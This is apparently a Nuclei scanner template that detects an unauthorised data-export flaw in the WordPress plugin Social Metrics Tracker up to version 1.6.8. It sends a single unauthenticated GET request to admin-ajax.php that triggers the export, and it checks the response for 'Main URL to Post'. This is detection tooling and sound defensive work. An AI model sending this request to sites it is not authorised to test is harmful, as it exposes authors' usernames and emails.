id: wordpress-social-metrics-tracker

info:
  name: Social Metrics Tracker <= 1.6.8 - Unauthorised Data Export
  author: randomrobbie
  severity: medium
  description: |
    The lack of proper authorisation when exporting data from the plugin could allow unauthenticated users to get information about the posts and page of the blog, including their author's username and email.
  reference:
    - https://wpscan.com/vulnerability/f4eed3ba-2746-426f-b030-a8c432defeb2
  metadata:
    max-request: 1
  tags: wordpress,wp-plugin,wp,unauth,wpscan

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-admin/admin-ajax.php?page=social-metrics-tracker-export&smt_download_export_file=1"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "Main URL to Post"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022024897fa2ecee39a349b657b7a08e188150a45565794bc348efe339465237fcc8022100c952b3fead8e5bac953cdd931cd25fcc07db474ffdddc42bd9163dc5b8c74d14:922c64590222798bb761d5b6d8e72950